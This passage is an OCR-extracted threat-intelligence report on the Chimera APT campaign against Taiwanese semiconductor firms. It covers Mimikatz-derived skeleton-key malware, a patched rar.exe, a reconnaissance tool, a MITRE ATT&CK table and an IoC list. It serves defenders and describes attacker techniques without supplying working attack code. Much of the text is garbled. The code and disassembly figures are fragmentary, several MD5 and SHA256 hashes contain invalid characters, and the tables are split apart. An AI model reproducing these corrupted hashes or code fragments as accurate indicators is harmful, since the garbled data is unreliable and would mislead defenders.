In Fig 20 and 21, the similarities between SkeletonKeyInjector and Mimikatz are illustrated.
NTSTATUS WINAPT kuhl_misc_skeleton rcd_init(LPCVO!
NT S status STATUS_INSUFFICIENT_RESOURCI

PVOID origContext, kiwiContext;
kiuiKey

status = ((BK 3 origContext);
(NT_SUCCE
((PMEMCPY) 6x4cacac <) ((BBYTE)
status = ((PKERB_ECRYPT_INITIALIZE}) KeyUsa kiwiContext) ;

CESS(status))

kiwiContext, 16);

iwiContext) ;

(origContext);

status;

Figure 21: Forged RC4 init function in Mimikatz



RecordedTV.ms (jucheck)

MD35: c9b8cab697123e6ee9b1096e312e8573
SHA256: 66113964c871c61e093a9d8cc0de0bi2b3bdaca9564210283fdb97a1dde9893b

This program is not considered malware, but a modified legitimate RAR program that was
utilized in this operation. The original version is shown below:
|RAR 3.60 beta 8 Copyright (c) 1993-2006 Alexander Roshal 20 Jul 2006 |
Specifically, this is a rar.exe v3.6. In Figure 22, the left section shows the original rar.exe,
while the right section depicts the RecordedTV.ms.

4 rrranriiom A L R e LA o A

FDBOh: C3 3B F3 76 05 33
FDCOh: CO &3 5B C3 53 56 FDCOh: CO OE 5B C3
FDDOh: 8B C7 E8 &5 FD FF FDDOh: 8B C7 E8 €5

TATHRTA M= = ™ O 7 T T TN ™T™ A& C TATATA Ml = ™0 7 T T T

Figure 22: Patched byte in RecordedTV.ms

4 LiZansArw - [ T W e

FDBOh: C3 3B F3 76

B il ™k

Our research shows one of the bytes in the code segment was altered, as depicted in Figure
23. However, we are still determining the reason why a byte size data was altered. All of the cases
that we investigated used this modified rar.exe program to archive the stolen data, which is
evidence that these attacks were likely conducted by the same group.

.text:884187BA loc_4187BA:

.text:884107BA 49 dec ecx
.text:884187BB 85 (9 test ecx, ecx
.text:884187BD 7F EO@ je short loc_41879F
.text:084187BF

.text:884187BF loc_A187BF:

.text:884187BF 33 (6@ xor eax, eax
.text:884187C1 BE push cs
.text:884187C2 5B pop ebx
.text:884107C3 C3 retn

Figure 23: Disassembly result of patched byte in RecordedTV.ms
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BaseClient.exe

md5: 33¢00ef025cd1b4cd40aal85a2f110623
sha256: 5b5199d4bfab8517a8cf1ad464c14961e32¢8e6941c3ba54619292a257801 1ef

The last malware involved in this operation was BaseClient.exe, which is a general network
testing tool. We suspect this program was not developed by the adversary, but was obtained from a
benign source. Used by the adversary for network reconnaissance, it is unlikely to be flagged by
security systems, as the program may be inherently benign.

struct in_addr in; //
int v24; // [e
Il [e

> Network Client Module Test Program <-----
"usage: baseClient.exe -P [protocol] -a [srv addres
"protocol: tcp udp icmp dns\n");

"-1 option, use legacy imcp protocol.\n");

"note: port and mac address for icmp is optional.\n

"example: baseClient.exe -P tcp -a 192.188.23.43 -p
"example: baseClient.exe -P icmp -a 123.34.55.223\n
"example: baseClient.exe -P dns -a 123.34.55.223 -p
rintf("example: baseClient.exe -P icmp -a 123.34.55.223 -

41 AData.wVersion = 8;

-0

13| memset(& )ata.wHighVersion, @, 8x18Cu);
44| HIWORD(WSAData.lpVenderInfo) = 8;

45 =0;

H
H

3

2]
e
2]
2]

3
25 = 55
WSAStartup(@x202u, & Jata);

= getopt(arge, (int)argv, "P:ipia:m:t:17);
if (w5 1= -1)

while ( 1)

5 = Str;

58 if ( !Str && v5 1= 1" )
break;

switch ( v5 )

case 'P':
if ( !stricmp(“tcp”, Str) )

Figure 24: Code snippet of BaseClient.exe
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MITRE ATT&CK Techniques

In this chapter, we summarize the techniques employed in Chimera APT. These techniques are
organized based on the MITRE ATT&CK framework.

Tactic 1D Technique Description

Initial T113 | External The threat actor’s first entry point was from

Access 3 Remote a VPN server, where a valid account was

Services used. We believe the actor acquired the

password from a separate data breach to
login to the VPN.

Execution [T104 |Windows The threat actor used wmi to remotely

7 Management execute commands on another endpoint for

Instrumentation | reconnaissance, primarily checking the
Internet connection availability.

T108 | Powershell The threat actor used a Cobalt

6 Strike powershell script for process
migration to other system

processes. Meanwhile, BloodHound was
used to assess the privilege settings in the
Active Directory (AD) domain and devise

attack paths.
T105 | Scheduled Task | The threat actor leveraged scheduled tasks to
3 launch APT malware to a remote system

using domain controller account
credentials. After the execution, the threat
actor removed the scheduled task
information to hide the system artifact.

Defense T105 | Process The discovered memory module showed that

Evasion 5 Injection Cobalt Strike conducted process injection to
migrate to other processes.

Discovery |T108 | Account The 'net user' commands were used to recon

7 Discovery user information. The final results were

dumped to RecordedTA lib.log.

Credential | T100 |Credential NTDS from Domain Controller,

Access 3 Dumping threat actor collected registry and ntds.dit in

other hosts from the domain controller for
offline breaking. The threat actor merged
code from dumpert and mimikatz to dump
system credentials, which was hard to detect
by security products.

Persistenc | T109 | Account The threat actor used Skeleton key to inject
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e 8 Manipulation | false credentials into domain controllers with
the intent of creating a backdoor password.
This stealthy technique was hard to detect.
Lateral T107 |Remote The threat actor used a valid account to
Movement |6 Desktop remotely login to the system.
Protocol
T107 | Windows The threat actor used windows admin share
7 Admin Shares | to collect and LM to remote system.
Command |[T110 | Web Service The threat actor widely used Google’s
and 2 appspot to host their C2 servers.
Control
Exfiltratio | T153 |Data Encrypted | One characteristic of the threat actor was
n 2 using “fuckyou.google[.]Jcom” as the
password to encrypt the stolen data.
T100 |Data This program was a modified RAR software,
2 Compressed where there was a one byte inconsistency
over the original version.
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Conclusion

For nearly two years, our team monitored several attacks that targeted Taiwan’s semiconductor
vendors. We believe these attacks originated from the same threat actor - Chimera, as these attacks
utilized similar tactics, techniques and even the same customized malware. The actor likely
harvested various valid credentials via phishing emails or data breaches as their starting point to
conduct their cyber attack on the vendors. CobaltStrike was later used as their main RAT tool. To
avoid detection, the CobaltStrike RAT was often masqueraded as a Google Chrome Update. The
RAT would then connect back to their C2 server. As these servers were in a public cloud server, it
made it difficult to track. Subsequently, by compromising the AD server, the delicate malware
- SkeletonKeylInjector - was invoked to implant a general key to allow LM, persistence and defense
evasion. Although this malware was discovered for the first time, we have high confidence that
these attacks were conducted by the same threat actor. Based on the stolen data, we infer that the
actor’s goal was to harvest company trade secrets. The motive may be related to business
competition or a country’s industrial strategy. We hope that the tactics, techniques and [oCs
disclosed by this report can better help semiconductor vendors improve their security mechanisms
and prevent such attacks from occurring again.
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Appendix I : IoC List

Malware

Hash Description
z§g4a35f2@cd92c13cab8f6a50995 CobaltStrike backdoor
389d184ef0b0b2901c982c421142c¢ CobaltStrike backdoor

bbl

c9b8cab697f23e6ee9b1096e312e8
573

Archive Tool (Greyware)

a403d96953eb86713092751d0763cC
7d0o

Persistence

bb897e34bc0d1e82dfe79d0898f5a
a88

Persistence

C2 Domain

chrome-applatnohp.appspot[.]com

ussdns@4.heketwe[.]com

ussdns@l.heketwe[ . ]com

78276.ussdns@2.heketwe[ . Jcom

78276.ussdns@l1.heketwe[ . Jcom
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